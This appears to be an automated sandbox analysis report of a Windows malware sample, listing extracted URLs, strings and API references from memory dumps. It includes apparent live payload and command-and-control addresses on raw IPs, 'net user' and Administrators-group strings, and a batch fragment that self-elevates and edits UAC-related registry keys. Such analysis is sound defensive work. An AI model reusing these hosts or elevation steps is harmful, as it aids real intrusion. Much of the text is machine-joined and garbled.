"https://community.fastly.steamstatic.com/public/javascript/global.js?v=tpobsymkndvn&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gqhvlrk4-jx-&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=k5leo7mvvaav&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=74phtzvvzd8d&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6qbwi-5-j2s&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/modalcontent.js?v=uqf5ttwtre7l&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zbxeuexvq0fz&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/profile.js?v=kpuu5wndrwqz&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=cclrhsa04otq&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=qnay-krx3moe&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=kcliartgh1fw&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=htu2zedfdxgf&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/login/home/?goto=profiles%2f76561198742173262" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/explore/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/points/shop/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/news/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/stats/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/discussions/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/workshop/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/market/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/?subsection=broadcasts" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/about/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://help.steampowered.com/en/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/mobile" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/images/responsive/footerlogo_valve_new.png" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/privacy_agreement/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "http://www.valvesoftware.com/legal.htm" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/subscriber_agreement/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/steam_refunds/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/account/cookiepreferences/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://www.valvesoftware.com/en/contact?contact-person=translation%20team%20feedback" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://web.telegram.org');" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://telegram.org/img/t_logo_2x.png" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://t.me/ho00rq" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "http://www.w3.org/2000/svg" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00005464.00000000.181718.DBEC1000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005464.00000000.181718.FF070000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006292.00000000.179835.037C0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006292.00000001.181247.037C0000.00000004.mdmp") Found URL "http://158.94.208.7/files/7782139129/y9lcbsi.exe158.94.208.7/files/7782139129/y9lcbsi.exedesktop-fv7.208\appdata\local\microsoft\windows\inetcache\iery.ie5\oftware\microsoft\windows\currentversion\internet" - Source: "00000000-00006816.00000000.181749.02E10000.00000004.mdmp") Found URL "http://ctldl.windowsup9ku38f/index.php94.154.35.25/di9ku38f/index.phpcalrpcboutlankcalrpccalrpcummycalrpclanktsvcscalrpcpmapperbout:blankummy://urlbout:blankpmapperpmapperpmapperpmapperoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00006816.00000000.181749.02E10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006816.00000000.181749.02E10000.00000004.mdmp") Found URL "https://www.nirsoft.netopenif" - Source: "00000000-00007920.00000000.182158.40017000.00000002.mdmp") Found URL "http://nircmd.nirsoft.net/%s.htmlhttp://nircmd.nirsoft.netntdll.dllntquerysysteminformationntloaddriverntunloaddriverntopensymboliclinkobjectntquerysymboliclinkobjectntqueryobjectntsuspendprocessntresumeprocesslookupprivilegevalueaadjusttokenprivilegesseshutdownprivilegeinitiatesystemshutdownaabortsystemshutdownalockworkstationsetsystempowerstaterasdlg.dllrasdialdlgawininet.dllinternetdialanetapi32.dllnetschedulejobaddnetremotetodnetapibufferfreecreatetoolhelp32snapshotmodule32firstmodule32nextprocess32firstprocess32nextpsapi.dllgetmodulebasenameaenumprocessmodulesgetmodulefilenameexaenumprocessesgetmoduleinformation\systemrootqueryfullprocessimagenamearasapi32.dllrassetentrydialparamsarasenumconnectionsarasgetconnectstatusarashanguparasgetentrydialparamsarasdialahkey_local_machinehklmhkey_current_userhkcuhkey_classes_roothkcrhkey_usershkey_current_confighkccsyslistview32systreeview32regedit_regeditregedit.exeopenscmanageraopenserviceachangeserviceconfigacloseservicehandlequeryserviceconfigacontrolserviceenumservicesstatusastartserviceaqueryservicestatusservicesactiveshell32.dllshgetspecialfolderpathashemptyrecyclebinafavoritesrecentcookiesappdatadesktopstart" - Source: "00000000-00007920.00000000.182158.40017000.00000002.mdmp") Found URL "http://176.65.132.97x=mcgdipsaveimagetostreamerror" - Source: "00000000-00007932.00000000.182299.03640000.00000004.mdmp") Found URL "http://176.65.132.97/4443b13326064ef29918.phphardware\description\system\centralprocessor\0a068533d-f54e-bf09-1275-b6813a2d9e79] [-EncodedCommand ]" (Indicator: "base64"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.00AC1000.00000020.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp, 00000000-00001540.00000001.180699.08B60000.00000004.mdmp, 00000000-00001540.00000001.180699.08C80000.00000004.mdmp, 00000000-00001540.00000001.180699.08CB0000.00000004.mdmp, 00000000-00001540.00000001.180699.08CE0000.00000004.mdmp, 00000000-00001540.00000001.180699.08CF0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp, 00000000-00001540.00000001.180699.08B60000.00000004.mdmp, 00000000-00001540.00000001.180699.08C80000.00000004.mdmp, 00000000-00001540.00000001.180699.08CB0000.00000004.mdmp, 00000000-00001540.00000001.180699.08CE0000.00000004.mdmp, 00000000-00001540.00000001.180699.08CF0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00001540.00000001.180699.08B40000.00000004.mdmp")6f:T47e,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp")70:T849,file/memory contains long string with (Indicator: "ForEach-Object"; File: "cGMgirpxv.bat") Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "ForEach-Object"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "ForEach-Object"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp")71:Tf3d,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "Module32NextW" (Indicator: "Module32Next"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "Module32FirstW" (Indicator: "Module32First"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "WTSEnumerateProcessesW" (Indicator: "WTSEnumerateProcesses"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp")72:T8ae,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "$tempFilePath = [System.IO.Path]::GetTempFileName()" (Indicator: "GetTempFileName"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp")73:Tca8,Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-PSDrive" (Indicator: "Get-PSDrive"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Service" (Indicator: "Get-Service"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Get-Unique" (Indicator: "Get-Unique"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Invoke-Item" (Indicator: "Invoke-Item"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp")74:T6ef,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "LookupAccountSidLocalW" (Indicator: "LookupAccountSid"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "LookupAccountNameLocalW" (Indicator: "LookupAccountName"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "LsaLookupNames2" (Indicator: "LsaLookupNames"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "LsaLookupSids" (Indicator: "LsaLookupSids"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "LsaLookupNames" (Indicator: "LsaLookupNames"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin")75:T645,Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.02C10000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.02C10000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.02C10000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00001540.00000001.180699.08B60000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.08C80000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00001540.00000001.180699.08CB0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00001540.00000001.180699.08CB0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.08CE0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.08D00000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.08D00000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.08D00000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00001540.00000001.180699.08D00000.00000004.mdmp")76:T52a,Found string "HostName" (Indicator: "hostname"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found string "net user "" (Indicator: "net user"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp"), Found string "net localgroup "Administrators" "" (Indicator: "net localgroup"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "hostname"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "hostname"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "hostname"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "ping" (Indicator: "ping"; Source: "00000000-00001540.00000001.180699.08CE0000.00000004.mdmp")77:T1203,Observed string: "cd /d "%~dp0saked"nircmd win min process "cmd.exe":Startchcp 65001 >nulColor 0fset "SCRIPT_RUNNING_FLAG=%TEMP%\script_running_%RANDOM%.tmp"if exist "%SCRIPT_RUNNING_FLAG%" exit /becho.> "%SCRIPT_RUNNING_FLAG%"set "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0saked"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || ( nircmd elevate "%~f0" del "%SCRIPT_RUNNING_FLAG%" 2>nul exitif defined WT_SESSION ( reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nul reg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1set "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 